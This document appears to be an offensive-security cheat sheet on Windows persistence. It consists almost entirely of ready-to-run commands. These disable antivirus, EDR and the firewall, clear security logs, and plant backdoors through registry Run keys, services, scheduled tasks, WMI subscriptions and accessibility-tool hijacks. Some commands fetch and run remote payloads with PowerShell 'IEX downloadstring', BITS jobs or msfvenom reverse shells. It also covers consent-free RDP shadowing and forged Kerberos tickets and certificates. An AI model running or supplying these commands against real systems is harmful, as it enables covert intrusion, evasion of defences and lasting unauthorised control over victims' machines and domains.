# Windows - Persistence

## Summary



## Tools

- SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r

## Hide Your Binary

> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.

```
PS> attrib +h mimikatz.exe
```

## Disable Antivirus and Security

### Antivirus Removal

- Sophos Removal Tool.ps1
- Symantec CleanWipe
- Elastic EDR/Security

```
cd "C:\Program Files\Elastic\Agent\"
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
Elastic Agent will be uninstalled from your system at C:\Program
Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
Elastic Agent has been uninstalled.
```

- Cortex XDR

```
# Global uninstall password: Password1
Password hash is located in
C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
Look for PasswordHash, PasswordSalt or password, salt strings.

# Disable Cortex: Change the DLL to a random value, then REBOOT
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters
/t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f

# Disables the agent on startup (requires reboot to work)
cytool.exe startup disable

# Disables protection on Cortex XDR files, processes, registry and services
cytool.exe protect disable

# Disables Cortex XDR (Even with tamper protection enabled)
cytool.exe runtime disable

# Disables event collection
cytool.exe event_collection disable
```

### Disable Windows Defender

```
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true

## Exclude a process / location
```

```
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess
'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install

# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# Disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1

# Blind ETW Windows Defender: zero out registry values corresponding to its ETW
sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v
"Start" /t REG_DWORD /d "0" /f

# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\
<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All

# Remove signatures (if Internet connection is present, they will be downloaded
again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-
0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

# Disable Windows Defender Security Center
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t
REG_DWORD /d "4" /f

# Disable Real Time Protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware"
/t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t
REG_DWORD /d "1" /f
```

Disable Windows Firewall

```
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -
Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```

Clear System and Security Logs

```
cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security
```

## Simple User

Set a file as hidden

```
attrib +h c:\autoexec.bat
```

### Registry HKCU

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

```
Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Using the command line

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t
REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil
/t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v
Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
/v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
```

Using SharPersist

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v
"Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v
"Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript"
-m add
```

### Startup

Create a batch script in the user startup folder.

```
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Using SharPersist

```
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f
"Some File" -m add
```

### Scheduled Tasks User

- Using native **schtask** - Create a new task

```
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr
C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```

- Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks

```
# Launch an executable by calling the ShellExec_RunDLL function.
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor"
/TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA
C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU
"" /ENABLE
```

- Using Powershell

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c
C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

- Using SharPersist

```
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe"
-n "Something Cool" -m add

# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n
"Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n
"Some Task" -m add -o hourly
```

### BITS Jobs

```
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe"  "C:\tmp\evil.exe"

# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
```

```
bitsadmin /resume backdoor

# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u
/i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
```

## Serviceland

### IIS

IIS Raid – Backdooring IIS Using Native Modules

```
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name
/image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```

### Windows Service

Using SharPersist

```
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some
Service" -m add
```

## Elevated

### Registry HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

```
Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe
```

Using the command line

```
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t
REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v
Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v
Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v
Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
```

**Winlogon Helper DLL**

> Run executable during Windows logon

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
```

**GlobalFlag**

> Run executable after notepad is killed

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
```

### Startup Elevated

Create a batch script in the user startup folder.

```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```

### Services Elevated

Create a service that will start automatically or on-demand.

```
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab

# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add

# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto"
```

```
obj="LocalSystem"
sc start Backdoor
```

### Scheduled Tasks Elevated

Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.

> Processes spawned as scheduled tasks have taskeng.exe process as their parent

```
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D

# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-
mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s
\"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]

##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -
NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc
onlogon /ru System

##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -
NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc
onstart /ru System

##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -
NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc
onidle /i 30

##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -
NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc
onlogon /ru System

##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr
```

```
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -
NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc
onstart /ru System

##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -
NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc
onidle /i 30
```

### Windows Management Instrumentation Event Subscription

> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.

- **__EventFilter**: Trigger (new process, failed logon etc.)
- **EventConsumer**: Perform Action (execute payload etc.)
- **__FilterToConsumerBinding**: Binds Filter and Consumer Classes

```
# Using CMD : Execute a binary 60 seconds after Windows started
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist",
EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM
__InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA
'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
Name="WMIPersist",
ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\Syste
m32\binary.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
Filter="__EventFilter.Name=\"WMIPersist\"",
Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
# Remove it
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter
"Name='WMIPersist'" | Remove-WmiObject -Verbose

# Using Powershell (deploy)
$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA
'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND
TargetInstance.SystemUpTime < 90"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -
Property $FilterArgs
$ConsumerArgs = @{name='WMIPersist';
CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName
CommandLineEventConsumer -Property $ConsumerArgs
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName
__FilterToConsumerBinding -Property $FilterToConsumerArgs
# Using Powershell (remove)
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class
CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class
```

```
__EventFilter -Filter "Name = 'WMIPersist'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query
"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass =
__FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```

## Binary Replacement

**Binary Replacement on Windows XP+**

| Feature | Executable |
|---|---|
| Sticky Keys | C:\Windows\System32\sethc.exe |
| Accessibility Menu | C:\Windows\System32\utilman.exe |
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
| Magnifier | C:\Windows\System32\Magnify.exe |
| Narrator | C:\Windows\System32\Narrator.exe |
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher | C:\Windows\System32\AtBroker.exe |

In Metasploit : `use post/windows/manage/sticky_keys`

**Binary Replacement on Windows 10+**

Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.

Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.

## RDP Backdoor

**utilman.exe**

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

**sethc.exe**

Hit F5 a bunch of times when you are at the RDP login screen.

```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

## Remote Desktop Services Shadowing

:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.

Requirements:

- RDP must be running

```
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"
/v Shadow /t REG_DWORD /d 4
# 4 – View Session without user's permission.

# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f


# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname
of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee's
session ID;
# /noconsentprompt parameter allows to bypass a shadowee's permission and shadow
their session without their consent;
# /prompt parameter is used to specify a user's credentials to connect to a remote
host.
```

### Skeleton Key

```
# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs
FQDN>

# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```

### Virtual Machines

> Based on the Shadow Bunny technique.

```
# download virtualbox
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-
137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe

# perform a silent install and avoid creating desktop and quick launch icons
VirtualBox-6.0.14-133895-Win.exe --silent --ignore-reboot --msiparams
VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0

# in \Program Files\Oracle\VirtualBox\VBoxManage.exe
# Disabling notifications
.\VBoxManage.exe setextradata global GUI/SuppressMessages "all"
```

```
# Download the Virtual machine disk
Copy-Item \\smbserver\images\shadowbunny.vhd $env:USERPROFILE\VirtualBox\IT
Recovery\shadowbunny.vhd

# Create a new VM
$vmname = "IT Recovery"
.\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" --register

# Add a network card in NAT mode
.\VBoxManage.exe modifyvm $vmname --ioapic on  # required for 64bit
.\VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128
.\VBoxManage.exe modifyvm $vmname --nic1 nat
.\VBoxManage.exe modifyvm $vmname --audio none
.\VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga
.\VBoxManage.exe modifyvm $vmname --description "Shadowbunny"

# Mount the VHD file
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata
.\VBoxManage.exe storageattach $vmname -comment "Shadowbunny Disk" -storagectl "SATA
Controller" -type hdd -medium "$env:USERPROFILE\VirtualBox VMs\IT
Recovery\shadowbunny.vhd" -port 0

# Start the VM
.\VBoxManage.exe startvm $vmname –type headless


# optional - adding a shared folder
# require: VirtualBox Guest Additions
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
# then mount the folder in the VM
sudo mkdir /mnt/c
sudo mount -t vboxsf shadow_c /mnt/c
```

## Domain

### User Certificate

```
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User

# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider
v1.0" -export -out cert.pfx

# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx
/password:Passw0rd123!
```

### Golden Certificate

> Require elevated privileges in the Active Directory, or on the ADCS machine

- Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
- Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER

```
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
```

- Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
- ForgeCert - Forge a certificate for any active domain user using the CA certificate

```
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User
--SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword
Password123
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User
--SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword
Password123
```

- Finally you can request a TGT using the Certificate

```
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
```

### Golden Ticket

> Forge a Golden ticket using Mimikatz

```
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-
2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

## References


- A view of persistence - Rastamouse
- Windows Persistence Commands - Pwn Wiki
- SharPersist Windows Persistence Toolkit in C - Brett Hawkins
- IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020
- Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa
- Persistence - Checklist - @netbiosX
- Persistence – Winlogon Helper DLL - @netbiosX
- Persistence - BITS Jobs - @netbiosX
- Persistence – Image File Execution Options Injection - @netbiosX
- Persistence – Registry Run Keys - @netbiosX
- Golden Certificate - NOVEMBER 15, 2021
- Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi
- Persistence – WMI Event Subscription - JANUARY 21, 2020 - pentestlab
- Persistence via WMI Event Subscription - Elastic Security Solution